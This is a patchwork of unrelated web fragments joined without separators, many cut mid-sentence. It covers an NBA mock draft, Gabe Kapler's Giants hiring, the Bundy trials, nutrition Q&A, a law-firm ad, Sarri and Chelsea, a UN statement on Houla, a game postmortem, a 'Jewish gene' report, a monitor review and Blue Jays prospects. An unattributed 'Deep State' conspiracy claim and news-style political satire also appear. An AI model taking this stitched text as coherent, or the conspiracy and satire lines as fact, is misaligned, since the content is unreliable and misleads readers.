I worked twice as long as I normally do and so by 7 I was really hungry and still without a photo for the day! However peering in to my back garden I could see my cat thoroughly enjoying the weather (or not...). When buying BLOGRIOT.COM, your transaction is securely processed by Stripe, a licensed payment company. Make an offer Fill out your offer for BLOGRIOT.COM below, to get in touch with the owner of this domain name. President Trump is preparing to exact justice upon the Deep State actors who propagated the Russia collusion hoax and tried to overthrow a duly elected president in a silent coup. The Emergency Election Sale is now live! Get 30% to 60% off our most popular products today! of pneumonia cases in Wuhan, a city in eastern China with a population of roughly 11 million people. How does coronavirus compare to other outbreaks? SARS and MERS came from animals, and this newest virus almost certainly did, too. German Minister 'US Operating Without any Kind of Boundaries' In an interview, German Interior Minister Thomas de Maizière, 60, warns that American spying has become "boundless" and expresses sorrow that approval ratings for the United States have plummeted in Germany. �Calls for her to concede and efforts to proclaim former Secretary of State Brian Kemp the victor, despite the tens of thousands of outstanding ballots, are a disservice to the people of Georgia and their absolute right to make their voice heard in our democratic process.” of state has called for intense regulation of the industry. “I want the federal government to regulate much more toughly than we have in the past,” she said on Monday. In 2014 Cuomo signed a law that banned fracking in New York. independent writer. The opinions and views expressed herein are those of the author and are not necessarily intended to reflect those of DigitalJournal.com More about thomas mulcair, Morgan Wheeldon, Jerry Natanine thomas mulcair Morgan Wheeldon Jerry Natanine It's really hard to keep up with all the front-end development news out there. Let us help you. We hand-pick interesting articles related to front-end development. You can also subscribe to our weekly newsletter at http://frontendweekly.co Follow

11 of 12 Justin K. Aller/Getty Images No. 11. Charlotte Hornets: Wendell Carter Jr. (Duke, PF/C, Freshman) Carter could go as high as No. 6, but if the Bulls and Kings opt for wing or forward scorers, he could slip to the Hornets. He should be interchangeable between the 4 and 5, particularly if his jumper starts working early. Ideally, he would eventually replace Dwight Howard and give the Hornets another post option, rebounder and rim protector, but he could also step outside and stretch the floor. No. 12. Los Angeles Clippers (via Pistons): Collin Sexton (Alabama, PG/SG, Freshman) The Clippers can add their next point guard and another scorer to their backcourt in Sexton. Athletic and highly intense, he puts pressure on opponents at both ends by attacking the rim and competing defensively. Sexton will need to work on his floor game and jumper after averaging only 3.6 assists and 2.8 turnovers and shooting 33.8 percent from three. But once his confidence starts pumping, he's the type of player capable of taking over a game. No. 13. Los Angeles Clippers: Robert Williams (Texas A&M, C, Sophomore) Signs are pointing to the end of DeAndre Jordan's time in L.A. That makes Robert Williams an intriguing replacement and immediate plug-and-play option for his identical strengths as an explosive leaper, lob target, rim protector and rebounder. Williams will attempt to follow in Jordan's footsteps as a center who can impact games around the basket with his tools and athleticism despite lacking much skill. No. 14. Denver Nuggets: Kevin Knox II (Kentucky, SF, Freshman) Already set with cornerstone guards in Jamal Murray and Gary Harris to go with a glut of bigs, the Nuggets' only need is on the wing. This could be a trade-down (or out) spot for Denver, but the Nuggets could also lean toward Knox, a 6'9" forward who's still 18 years old and led Kentucky in scoring. He'll need time to develop, but between his mismatch tools, athleticism and shot-making skills, there is obvious long-term offensive upside to unlock. No. 15. Washington Wizards: Mitchell Robinson (USA, C, 1998) Without any must-draft stars available outside 2018's lottery, this is a good opportunity for the Wizards to swing for upside at a position of need. Though he skipped the season to train for the draft, Robinson will prove during workouts he's one of the field's elite athletes. Given the Wizards' current frontcourt, which features below-the-rim bigs Markieff Morris and Marcin Gortat, there is extra incentive to take a chance on a raw-yet-explosive center who has enormous room to improve. No. 16. Phoenix Suns (via Heat): Shai Gilgeous-Alexander, (Kentucky, PG, Freshman) The Suns add more backcourt depth with Gilgeous-Alexander, whose facilitating ability and defensive versatility point to role-player potential, even if he lacks the speed and athleticism that traditionally hint at upside. At worst, he'll run Phoenix's second unit while guarding multiple positions, though late-season signs of improved shooting suggest he can take his scoring to another level. No. 17. Milwaukee Bucks: Zhaire Smith (Texas Tech, SG/SF, Freshman) The Bucks think defense with Smith, an explosive leaper who guards multiple positions and plays with an edge. He's limited offensively, but he's also still 18 years old and he shot a promising 18-of-40 from behind the arc. Smith looks poised to create buzz during athletic testing at the combine. He can take Shabazz Muhammad's (or Jabari Parker's) spot in Milwaukee. No. 18. San Antonio Spurs: Jontay Porter (Missouri, C, Freshman) San Antonio ignores the Kawhi Leonard situation before the draft and looks to go young with Porter. He won't turn 19 years old until November, yet he finished as one of two players in the country to average at least a three-point make, 1.5 blocks and 2.0 assists per game. He isn't a high-level athlete, but his size, NBA-friendly skill set and basketball IQ should appeal to the Spurs, a team without any exciting young bigs to develop. No. 19. Atlanta Hawks (via Timberwolves): Anfernee Simons (USA, PG/SG, 1999) The Hawks can afford to gamble on long-term upside with one of their three first-round picks. And Simons is the type of wild card worth rolling the dice on, given his athleticism and scoring potential, which is higher than Kent Bazemore's. Coming

SAN FRANCISCO -- The best way to get through life on social media is to never check the mentions, but a lot of Giants employees couldn't help themselves over the past month. The franchise's search for a new manager was mostly quiet outside of the building, but occasionally a scrap of information would leak out, and Giants fans were not shy about making their opinions known about one particular candidate. Team employees found themselves gravitating toward Twitter, reading some of the reaction. Gabe Kapler was the favorite when the Giants started this process more than a month ago, and in the end, he was Farhan Zaidi's choice. Zaidi and Andrew Friedman nearly hired Kapler as the manager in Los Angeles before settling on Dave Roberts, but given a second chance, the Giants' president of baseball operations is tying a large part of his own future to Kapler, whom the Phillies fired last month after two seasons. This perhaps is the biggest decision Zaidi will make over the course of his initial five-year contract with the Giants, and it's one he did not at all take lightly. The Giants knew Kapler would be a controversial choice, and sources say there was division at the upper levels of the organization about which way they should go. As the finish line neared, Kapler came back to San Francisco. "He has met with everybody we have," one Giants person said Monday. There are team employees who preferred Astros bench coach Joe Espada and a path with less baggage, but in the end, this was Zaidi's choice, and it needed to be. When the Giants brought Zaidi up from LA a year ago, they handed him the keys to the baseball operations department. You can't do that, and then keep him from making his own decision with his most important hire. Zaidi was deliberate, interviewing two internal candidates and a handful of rising coaches from other organizations. As of Monday afternoon, some of his coworkers believed Zaidi truly had not made up his mind, but the search kept coming back to Kapler. The reasons for optimism are clear. Kapler is known as a good communicator, and he was a rising star while with the Dodgers. The Giants believe they need changes across all levels, and Kapler helped modernize the Dodgers while serving as director of player development. While he went 161-163 as the manager in Philadelphia, Kapler does have two years of experience and hopefully has learned from his mistakes. Zaidi has publicly talked of the boost a manager can get the second time around. Kapler certainly has the résumé that can help overhaul a Giants clubhouse that had become stale. He played a dozen years in the big leagues, and that carries significant weight. His time working in the minors should serve him well, as he takes over a team that used 64 players in 2019 and expects to bring in plenty of prospects over the next two years. But there also are reasons why you'd be ratioed with the mere mention of Kapler as a front-runner. There are questions about the way he handled assault allegations against Dodgers prospects while in LA, and Kapler and his bosses will have to answer those as he's introduced Wednesday. Zaidi gave his initial thoughts Tuesday night, but he'll likely have to address it again. Kapler will, too. [RELATED: Krukow explains why he likes Kapler's hiring] Ultimately, this decision will be judged on wins and losses, and Kapler is coming off a rough finish in Philadelphia. The Phillies had plenty of injuries, but they went 81-81 and finished fourth in the NL East after adding Bryce Harper. The Giants have been worse than that in recent years, of course. That's why they brought in Zaidi and tasked him with overhauling the organization. They gave him the keys and trusted him to make the right decisions. The first year was mostly positive, with the big league roster showing strides and the farm system hinting that it might get this team back to contention sooner than expected. This is the start of Zaidi's second year with the Giants, so he took a big swing, giving Kapler a three-year contract. Starting Wednesday, when they'll stand side by side at Oracle Park, they'll try to prove it was the right decision. The easiest way to do that is one that worked for the previous regime. Win, and win big. More on Kapler from NBC Sports Philadelphia Leadership issues led to Kapler's firing by Phillies Kapler's reactions on final day of Phillies season Bryce Harper's thoughts on Kapler's future Kapler, Velasquez have miscommunication

"The federal government is all about keeping the status quo," attorney Jess Marchese tells me. "They're not going to cede power." I had asked Marchese, who represents Eric Parker in legal proceedings resulting from the 2014 Bundy ranch standoff over control of western lands, why he thought the federal government was taking yet another crack at his client who, along with codefendant O. Scott Drexler, will face the third trial in a row on a diminishing set of charges. The Las Vegas lawyer's take was that this had become a matter of pride for both the federal government and for Acting U.S. Attorney Steven W. Myhre after juries repeatedly frustrated federal prosecutors. A mistrial was declared in April by U.S. District Court Judge Gloria Navarro after two of the six defendants in that trial were convicted on lesser charges, while jurors voted 10-2 in favor of acquitting two and split on the others, according to news reports. Just last week, jurors returned not a single "guilty" verdict in the retrial of the four remaining defendants. Found "not guilty" on all charges, Richard Lovelien of Oklahoma and Steven Stewart of Idaho were released after the federal government failed twice in its efforts to send them to prison. That left two defendants in limbo after the charges against them resulted in hung juries. Again. With regard to Parker and Drexler, "how close was the jury to reaching verdicts on the unresolved charges?" I asked Marchese. "There was one holdout," he told me, obviously frustrated. That is, the jury voted 11-1 to acquit across the board. That one holdout allows the federal government to muster the resources of the federal government to try yet again in hopes that a third set of jurors will finally believe the government and convict Parker and Drexler of assaulting a federal officer and carrying a firearm in the commission of a crime and (in the case of Parker) two additional counts of using a firearm to threaten a federal officer. The pending third trial is scheduled for September, though an appeal by Marchese may delay matters (and will likely nudge the pending trial of Cliven, Ammon, and Ryan Bundy even further into the future). That penciled-in date is remarkable when you consider that federal juries are traditionally almost rubber stamps for prosecutors. "The rate of conviction remained over 90 percent, as it has since Fiscal Year 2001," the United States Attorneys' Statistical Report boasted in 2012. A year later, the report noted that conviction rates had crept over 92 percent since 2010. So it has to be frustrating both institutionally, for the federal government, and on an individual level for prosecutors to be turned away, again and again, by jurors unimpressed by the government's case, or sympathetic to defendants. Jurors did much the same in a related case last year when they acquitted Ammon Bundy, Ryan Bundy, and five codefendants of charges resulting from the takeover of the Malheur National Wildlife Refuge. That unexpected verdict was attributed by some to jury nullification and by many others to juror reaction to overreaching federal prosecution. "It should be known that all 12 jurors felt that this verdict was a statement regarding the various failures of the prosecution to prove 'conspiracy' in the count itself—and not any form of affirmation of the defense's various beliefs, actions or aspirations," one of the actual jurors told The Oregonian. Ironically, the Malheur takeover started as a protest against an earlier exercise in prosecutorial excess in another case involving dispute over control of western lands. Overreaching by the government may have played a similar role in the latest trial. Judge Navarro threw Parker off the stand—ironically, right after he mentioned the First Amendment—cutting short his testimony in his own defense and even striking it from the record. Even before that point, the judge "barred the defense from referencing constitutional rights to freely assemble and to bear arms. She also prohibited mention of alleged misconduct or excessive force by law enforcement," reported the Las Vegas Review-Journal. According to Marchese, who spoke to jurors after the trial, Judge Navarro's heavy-handed courtroom management played a major role in the jury's refusal to bring a single "guilty" verdict. Defending the status quo, refusing to cede power, the feds pushed too hard and had their anticipated victory stripped from them by offended representatives of the people in the courtroom. And as with federal conduct of these trials overall, so it is with the behavior of Acting U.S. Attorney Steven W. Myhre. "He's taking it personally," Marchese says of his federal counterpart's performance in the courtroom. "He started name-calling against my client in court." "There's nothing more dangerous than a coward with a weapon," Myhre said of Parker in an

�t drink because you think it’s the healthy thing to do. What about coffee? Please don’t take away my coffee! Caffeine has positive effects, right? Positive and negative. What are the positive effects? Positive: alertness, slightly enhanced cognition. I’m going to regret asking this but — what are the negative effects? Negative: potential increases in heart rate, blood pressure, jitteriness, and insomnia. Not cancer? No. I love lattes, but which milk should I use? Are nut milks just flavored water? No. But nut milks aren’t nutritional powerhouses, either. (Of course, like dairy milk, many such products are nutrient fortified.) What about oat milk? How do you milk an oat? Oat milk is made by soaking oats in water, then grinding and straining. So that is basically oat-flavored water? Well, with some of the nutrients featured in oats. Do I need to drink milk at all? Only if you were born yesterday. Literally. I thought I needed the calcium. How much calcium does an adult need? How much calcium we need to eat daily varies with factors such as our activity level, dietary pattern, protein intake, acid load (from foods and medications), life stage (e.g., pregnancy, lactation, senescence), and so on. The closest thing to a one-size-fits-all amount is: roughly 1,000 mg per day. What are non-dairy sources of calcium? Kale and other dark leafy greens, beans, soy. Calcium is actually quite widely distributed in the food supply. But really, in 2018, I’m all about inflammation, which is bad and causes diseases. I’m sure I read that somewhere. Inflammation is not bad; we need “inflammatory” responses to defend ourselves against germs, and the rogue cells that can cause cancer. Okay, but it’s sometimes bad. Right? What is bad is imbalance, and we tend to have an excess of inflammatory exposures and a deficiency of anti-inflammatory exposures. So, for instance, refined carbohydrate and added sugar tend to be inflammatory because they drive up insulin levels and insulin triggers inflammatory responses. We tend to get more saturated and omega-6 fat than we should (from processed foods and many of the oils used in them), and these are inflammatory. Omega-3 fat (from fish, seafood, walnuts, certain seeds) and monounsaturated fat (from olive oil, avocado, nuts and seeds) are anti-inflammatory. Wait, wait, wait. You lost me at “monounsaturated.” Can you make this simpler? Water instead of soda: good. Whole grains instead of refined grains: good. Nuts, seeds, olive oil, avocado: good. Fish and seafood in the place of meat: good. In other words, an “anti-inflammatory” diet is a good diet, one that avoids highly processed foods, lots of meat, lots of full-fat dairy, refined carbs and added sugar, and is instead made up mostly of vegetables, fruits, beans, lentils, whole grains, nuts, seeds, and plain water. But not seltzer water. Plain seltzer is fine for generally healthy people, and a far better choice than any of the popular sugary drinks. Doesn’t seltzer water decalcify your bones? No. I’m pretty sure I heard that it does. It does not. That’s good, because I like seltzer with a snack. Is snacking okay, or should I stick to three square meals? There is some evidence suggesting a benefit from smaller meals spaced close together, in terms of total insulin requirements. There is also some evidence that eating earlier in the day is beneficial relative to packing in calories close to bedtime. But these matters are much less important than total daily diet quality, and quantity. Get those right, and almost any timing will be okay, although timing might make a good diet even better. Get quantity and/or quality wrong, and no time is a good time. What you eat matters more than when you eat it. Many protein bars are as nutritious as candy bars — and you probably

Everyone has rights and criminal defense is about defending those rights. When you’ve been charged with a crime, you come to the understanding that you are the only one interested in fighting for your rights. However, you cannot do it alone and that’s why there is need for aggressive, uncompromising criminal defense. Call Long Beach Criminal Lawyer to find the valuable information you’re looking for as you embark on this new process. When it comes to arrests made on criminal charges in Long Beach, Torrance, or throughout Southern California, the situation should be treated as an emergency. Finding yourself in this situation for the first time could result in confusion and uncertainty. Conversely, if you’re facing repeat charges, it means that the stake and potential sentencing will be much higher. Without the legal counsel of a seasoned attorney, you will still be ambushed by legal surprises. Long Beach Criminal Lawyer is distinguished above other law firms in Long Beach and Torrance because the practice is limited entirely to criminal defense. The firm is committed to pursuing the best possible outcome for each and every case. The legal team is able to provide top-tier legal advice and representation to clients charged with different crimes. Our attorneys have accumulated deep hands-on experience in criminal law. We know firsthand how district attorneys and cops put together cases. You can be sure that this knowledge will be used to your advantage. Long Beach Criminal Lawyer has earned the respect of colleagues and clients alike. But what matters most, in the end, is that we have the passion to help individuals in need, and we are dedicated utterly to fighting for you and your best interests. From the day you retain us as your counsel, we put all our efforts in developing the best possible defense strategy for your case that will result in the best possible outcome. Our criminal defense attorneys handle both felony and misdemeanor cases throughout Long Beach, Torrance, and Orange County. We work together as a team with forensic experts and private detectives to collect evidence that will undermine that provided by the prosecutors. No case is too small, too big, too hard, or too easy for us to devote our time, energy, and resources in it. We Are Not a "Law Mill" Clients in dire need of criminal defense representation often fall prey to traps set by “law mills.” These are law firms whose commitment is completely directed to aggressively retaining clients but do not use the same aggression in fighting for those charges. In other cases, the firms will retain clients, but then, appearance lawyers will do all the work. It’s even an epidemic to hire a firm that will then give the entire case to some unknown attorney. At Long Beach Criminal Lawyer, we are totally against this unethical practice, and that’s why we invested our time and energy to creating a team of highly skilled and trustworthy attorneys to serve our esteemed clients. All our cases are handled personally and internally. You can be sure that only our attorneys will ever touch your file. What Makes Long Beach Criminal Lawyer the Ideal Criminal Defense Firm for You The most important decision that you can make when faced with criminal charges is hiring the right defense attorney. The ultimate decision you make can be the difference between a reduced sentence and severe punishment, a guilty versus a not guilty verdict, a speedy outcome versus a dragged-on and unsuccessful effort. When you become a Long Beach Criminal Lawyer client, we convey to you more than just the knowledge and experience; you also get a maximum dedication in serving your best interests. We pride ourselves in being the ideal law firm for you no matter the stage of criminal prosecution your case is at. Below are the qualities that set us apart in a crowded industry: Masterful negotiation and a relentless litigation Our experience is both deep and wide in all stages of a criminal prosecution, and we fight for your case as negotiators and litigators. As litigators, we conduct a full and thorough investigation of the particulars of your case to prepare practical and procedural motions that are specific to the issues surrounding your case. As negotiators, we use the available procedural problems made by the prosecution to negotiate a favorable plea bargain. This implies that your chances of a plea deal that reduces your charge or sentence, pre-trial dismissal, or an acquittal are increased. The negotiation and litigation skills complement each other, something that makes the prosecution more willing to negotiate and instills in them the fear of going to trial against you. We tailor the defense to the specific circumstances of your case Our attorneys take time to go through every case presented to them to understand the specific circumstances of your case. This will help develop an effective defense strategy that will apply to your case depending on the specific needs and nuances surrounding your case. For instance, it’s possible for your case not to have the law or the facts on your side. In such a case, the best strategy to be employed might be appealing to the prosecutor’s or judge’s interest

Report: Sarri to meet Chelsea By Football Italia staff Maurizio Sarri, fired by Napoli today, will reportedly meet with Chelsea tomorrow to discuss replacing Antonio Conte. According to Sportitalia, an encounter has been booked for Thursday in London between Sarri, his entourage and the Stamford Bridge club. This evening, Napoli parted company with Sarri via Twitter in a message from President Aurelio De Laurentiis, who then announced the arrival of Carlo Ancelotti on a three-year contract. Sarri took Napoli to second place in Serie A this season and became the first ever Coach to earn over 90 points without winning the Scudetto. Zenit St Petersburg are also contenders for Sarri, but Chelsea are believed to be the favourites. Watch Serie A live in the UK on Premier Sports for just £9.99 per month including live LaLiga, Eredivisie, Scottish Cup Football and more. Visit: https://www.premiersports.com/subscribenow Democratic presidential contender Hillary Clinton insists rival Bernie Sanders should apologize for being a much, much better candidate than she is. "Despite all our protests, Senator Sanders continues to selfishly hurt the Democratic Party by challenging the status quo, questioning a rigged system, and creating widespread enthusiasm among supporters," says Clinton spokesperson/truckler Randall T. McHubbart. "Hillary has never done nor will she ever do any of that, I promise you." As the Democratic establishment continues to deny favoring either candidate, secret plans reveal Democratic National Committee members preparing to switch the location of the upcoming Democratic convention from Philadelphia to Hillary Clinton's mansion in Chappaqua, New York without Sanders knowing. "After the millions of miles Ms. Clinton has logged serving our country so brilliantly as Secretary of State, we thought it only fair to save her some travel time," said DNC spokestoady Latricia Jillom. "We were eventually going to tell Sanders and his delegates about this change, just in time for them to attend Clinton's victory party," added Jillom. "They can bring danish." benefitting from their efforts.” What’s more, Crowley said, the timing “couldn’t be worse” with all the tensions in the pipeline dispute in the West and Alberta and B.C. “at each other’s throats.” Comeau’s lawyer Ian Blue told CBC the ruling is at odds with “what the prime minister is trying to do for Canada in international forums and negotiating trade agreements. “It’s very difficult for Canada to say that a foreign country should knock down its barriers when the foreign country can point and say, ‘In Canada, you have interprovincial trade barriers …. Why should we be any different?’ ” Prime Minister Justin Trudeau said his government will take time to study the ruling and look at the “ramifications of it.” He acknowledged there are “still a number of issues” to be pursued, but said the internal free trade deal is “a significant step forward towards full free trade within Canada.” BEIRUT -- The U.N. Security Council on Sunday blamed Syrian government forces for artillery and tank shelling of residential areas in Houla as officials from the world body raised their estimate of the death toll in the Friday fighting in the town to 108, including 49 children. "The members of the Security Council condemned in the strongest possible terms the killings, confirmed by United Nations observers, of dozens of men, women and children and the wounding of hundreds more in the village of Houla, near Homs, in attacks that involved a series of government artillery and tank shellings on a residential neighborhood," the Security Council said in a statement released to the media following a special session in New York on Sunday. The council members also condemned the killing of civilians by shooting at close range and demanded that Syrian forces "immediately cease the use of heavy weapons in population centers and immediately pull back its troops and its heavy weapons from in and around population centers and return them to their barracks. Amateur footage of the bloodied corpses of the children have prompted international condemnation of the government of Syrian President Bashar Assad.

a third-person driving mechanic. The rationale behind this was that we wanted this chapter to be completely different in comparison to the rest of the game. We feel that we succeeded, but found that players became frustrated with the movement controls we implemented and even had the perception that getting stuck or being flipped by spawning baddies were glitches or bugs. As a result of this feedback, it would appear that we failed to give our players the enjoyable experience we were hoping for. Chapters 6 and 7 returned to a first-person style melee and shooting mechanic. These levels were certainly entertaining, but we did run into some limitations with the Unity Engine and its navmesh that sometimes produced unexpected results. Chapter 8 once again brought the player back to third-person stealth, and given more time and resources, we would have loved to further add to this mechanic. In the final chapter, we kept the third-person viewpoint for the last boss fight. Again, due to time and budget restraints, we managed to get this final fight to a working standard, but were unable to deliver the polished experience that we would have liked. Though some would say this multitude of genres and game mechanics were detrimental to the overall outcome of the game, it challenged our team to quickly and creatively solve problems we had never encountered before. It served to give us a broader knowledge base for future games and genres, what their particular strengths and weaknesses are, and how well they fit within the larger scope of an adventure game. It was this hybrid of genres that caught the interest of the public, and while it was an aspect of development that always kept us on our toes, we are glad that we chose to stick with our rather risky and different concept. Great Audio – Say Again? The level of quality and professionalism from our audio team is something that not many indie studios have access to and the final product, from this particular perspective, is something we’re immensely proud of. As a game that contains large amounts of dark humor that can only be truly enjoyed through extremely sarcastic dialogue, the audio of the game was equally as important as the gameplay, and something the team really managed to deliver on. Whether it’s the witty banter fired back and forth between the characters of The Curse of Nordic Cove, or the sound of cracking open yet another beer (it’s for your health, so it’s okay), the audio shines. However, getting it to this point could be just as difficult as other aspects of development. This being our audio designer’s first experience making audio for video games, he was thrust into a world of ‘anything can happen at any time’ as opposed to ‘this will always happen at this time.’ From our game engine, to the audio, music and voice actors, problems can and did occur, but all furthered our knowledge and abilities of effective game audio. Starting with our game engine, Unity has one of the most difficult audio engines to work with, in that there practically isn’t one. It’s set up to handle 3D sounds with its built-in FMOD engine and it’s got some nifty little tricks like pitch-shifting, doppler and reverb zones; but it doesn’t have any way to incorporate FMOD Designer or Wwise or any other commonly found audio toolkit. This meant that we had to creatively find the simplest methods for re-creating a dynamic audio listening experience. We used arrays in sound sources to keep sounds from repeating and ruining immersion. That, coupled with a slight pitch randomization took care of the majority of small sound effects like swings, hits, blocks and so on. For the engine sounds on Mabel (the lawnmower), we made a cage of sorts where the audio listener was attached to the lawn mower and the actual audio sources were fixed in space around the model itself. For example, if Mabel was tilted back, the audio listener was also tilted back and would hear the engine load that was always playing behind it in a 3D space. Using our simple system we were able to incorporate not only the engine but also the tires, the load and volume-based warning; the more you tilted, the louder those audio sources became. We also used many terrain based triggers throughout the game, working in the same way as a tripwire, to set off certain SFX like stone weight plates or dirt falling. Another example is that getting close to a garage door in Chapter 3 would set off the sounds of wraiths pounding on the doors, and, a personal favorite, setting off musical stings when crossing door thresholds in Chapter 7. For the more musical aspects of gameplay we used a variety of techniques to capture the tone of each level. Chapters 1 and 2 had many small musical and ambient sounds that were played on a random timer and pitch randomization. Chapter 3, which was time based, was recorded like a linear song but we

To get legally married Israel, you have to satisfy the rabbis that both of you are officially Jewish by their lights. (Those who can’t or don’t want to bother typically fly to Cyprus to get married.) From YNetNews in Israel: Experts on genetics and Jewish law say they found a ‘Jewish gene’ that could prove one’s Jewish roots; researchers have been studying mitochondrial DNA that one receives only from his or her mother, which they say could help establish one’s connection to Judaism. Elisha Ben Kimon|Published: 28.05.17, 15:52 A group of experts on genetics and Halacha (Jewish religious law), who are studying the so-called “Jewish gene,” are claiming that the gene can help prove one’s “Jewishness” in line with Jewish religious law. “This could be a significant breakthrough,” explained Rabbi Yosef Carmel, head of the Gazit rabbinical court and the Eretz Hemdah Institute for Advanced Jewish Studies. According to Carmel, “Using a simple sample of saliva can save a long and difficult conversion process.” Any person who wishes to be recognized as a Jew—for example, in order to get married in the State of Israel, which can only be done through the Chief Rabbinate—is required to prove their Jewish roots. In Jewish religious law, only those born to Jewish mothers are considered Jewish. Those who wish to be recognized as Jews have to provide proof of Judaism several generations back in the form of documents—such as birth and marriage certificates. This can be a problem for over 400,000 people, particularly immigrants and especially those from the former Soviet Union, who don’t have the necessary documents. People who cannot prove their Jewish roots are considered as “undefined,” with applicants having to undergo a long and tedious conversion process that quite a few wish to avoid and many do not complete. Currently, the Eretz Hemdah institute is preparing an article to be submitted to the Chief Rabbinate detailing a Halachic-scientific breakthrough that claims anyone whose Judaism can be proven genetically is legally (in the Jewish legal sense, that is) Jewish. “In recent years, (researchers) in Israel and in the world have been studying mitochondrial DNA—structures within the cells—that a person receives only from his or her mother,” explained Rabbi Dov Popper, an adviser at the Puah Institute, an Israel-based international organization that helps Jewish couples with fertility problems.

Iiyama has announced the G-Master G3266HS-B1, its first curved monitor for gamers. The new display belongs to entry-level class and offers an FHD resolution along with dynamic refresh rate of up to 144 Hz enabled by AMD’s FreeSync technology. Pricing of the LCD looks rather competitive in Europe, but the U.S. MSRP remains to be seen. The Iiyama G-Master G3266HS-B1 monitor is based on a 31.5” VA panel with a 1920×1080 resolution, a 144 Hz refresh rate, a 3 ms response time as well as a 1800R curvature. Brightness, contrast and viewing angles offered by the monitor are typical for modern inexpensive VA panels: 400 nits, 3000:1, and 178°/178°, nothing unexpected. The display supports AMD’s FreeSync technology, but Iiyama does not disclose its ranges. The manufacturer says that the G-Master G3266HS-B1 can display 16.7 million colors, but remains tightlipped about supported color spaces. Since the monitor is aimed at gamers, it is safe to say that it will be used with Windows-based PCs, which is why it has to support sRGB. When it comes to connectivity, the monitor features everything an inexpensive LCD has to: a D-Sub and a DVI-D for legacy systems, as well as DisplayPort 1.2 and HDMI for modern computers. In addition, the monitor has 3.5-mm audio-in/out connectors, and two integrated speakers. As for ergonomics, the G-Master G3266HS-B1 has a fixed stand and cannot regulate its height, tilt, swivel, but can be attached to a VESA wall mounting that supports appropriate adjustments. Iiama G-Master 31.5" Curved Gaming Monitor G-Master G3266HS-B1 Panel 31.5" VA Native Resolution 1920 × 1080 Refresh Rate Range 144 Hz Dynamic Refresh Rate AMD FreeSync G-Sync Range unknown Response Time 3 ms (gray-to-gray?) Brightness 300 cd/m² Contrast 3000:1 Pixel Pitch 0.3632 × 0.3632 mm² Pixel Density 69.93 PPI Viewing Angles 178°/178° Curvature 1800R Inputs HDMI 1.4 DisplayPort 1.2 D-Sub DVI-D Audio 3.5 mm audio in/out jacks Stereo speakers Detailed Information Link The G-Master G3266HS-B1 is listed on Iiyama’s website, but is not yet available for sale or pre-order anywhere in the U.S. Meanwhile, a number of stores in Austria and Germany offer the monitor for €390 - €400 ($461 - $473), which is lower compared €485 that Acer charges for its XZ321Q (with similar specs) in Germany. We are not sure about the MSRP of the G3266HS-B1 in the USA, where it has not been officially announced yet, but it is logical to expect Iiyama to maintain a similar pricing policy as in Europe. Iiyama is a bit late to the curved displays party that began in 2014 – 2015, but it definitely needed to get there to stay relevant on the market of gaming monitors. The G-Master G3266HS-B1 seems like as good start as any to see whether its clients bite a curved gaming display. The company went with rather moderate specs, and judging by the price of the product in Europe, it wanted to make its monitor competitive in terms of affordability. Related Reading:

Jays From the Couch takes a close look at the 2018 season for the Blue Jays’ other top prospect Embed from Getty Images As the Blue Jays transition from the veteran-laden contender of 2015-16 to the youthful contender of the 2020’s, many Blue Jays fans (myself very much included) are learning the details of prospect development on the fly. Watching the Jays system develop has been a fun and exciting process that has made the troubles at the MLB level over the last two seasons a lot easier to deal with. Just like a prospect’s development can hit some bumps along the way, so can the development of a fan’s understanding of prospect development. One particular example is the perception of Bo Bichette‘s 2018 season. Many fans view him no differently than they did before the season started—a prospect whose bat and fielding skills should allow him to carve out a career as a well above-average major leaguer with a few all-star appearances. But others have perceived his performance at AA New Hampshire as “below expectations”, while some have gone so far as to question the high hit and power grades he continues to receive. This post is an attempt to ease this group’s concerns. First off, I think that Vlad’s unreal season has contributed to the perception that Bo has underperformed, which isn’t fair to Bo. Vlad’s season is virtually unprecedented. His OPS at the Double-A level Eastern League was the 2nd highest in its 54 year history. A young player can have a season much less productive than Vlad’s and still be a very, very good prospect. Now, I’m a numbers guy, so I defer to the experts when it comes to evaluating prospects with one’s own eyes. The consensus seems to be that Bo struggled early on—a propensity to expand his strike zone, combined with more advanced pitchers capable of throwing around the edges of the strike zone, led him to swing at more less-than-ideal pitches than usual—but has made the necessary adjustments. This process of responding to struggles by making adjustments is what prospect development is all about. Bo’s numbers reflect this process well. He started the season solidly enough, then dipped into a funk in mid-May. He had an even better stretch from late May into June, but struggled again (though much less so). Over the last couple of weeks, he’s been hot, producing the kind of ridiculous numbers he did in the Gulf Coast and Midwest Leagues. Aside from his terrible run in mid-May, he’s kept his strikeout rate under 20% and his ISO above the league average (often well-above). One thing that should jump out from the table is the correlation between his wRC+ and BABIP. While better hitters will produce a higher BABIP, they do not have much control over their BABIP in the short-run. Those fluctuations in his BABIP, which have a lot of influence on his wRC+, are mostly out of his control. Over the 405 PA on either side of his terrible mid-May stretch, Bo has produced some very impressive Double-A performances. His walk and strikeout rates are similar to his 2017 marks. Ditto for his power. And, in spite of a big fall in BABIP, his wRC+ remains very strong. When interpreting Bichette’s 2018 performance, proper perspective is a must. For instance, 441 batters have had at least 100 PA at the Double-A level this season. Three of these are in their age-19 season, while four (including Bo) are in their age-20 season. The takeaway: being a 20 year old Double-A player is remarkable in its own right. Yet, Bo is not simply a 20 year old Double-A player. He’s an above-average hitter, for one thing. 222 batters have had 250+ PA at the level this season. Bo’s wRC+ ranks in the 68th percentile among them, in spite of the fact that 99% of his fellow AA hitters are older than him. Most notably, he is posting a much better-than-average strikeout rate (77th percentile) and ISO (75th percentile), alongside a solid BABIP (58th percentile). Only his walk rate is a little underwhelming (33rd percentile). Let’s focus on the aforementioned group of seven AA batters in their age-19 or -20 season. Each are expected to be solid major-league hitters, either by way of contact or power. Bo leads the 20 year olds in wRC+, with only the 19 year old wunderkind Juniors ahead of him. Bo also compares favourably to 20 year old minor-leaguers from the recent past. From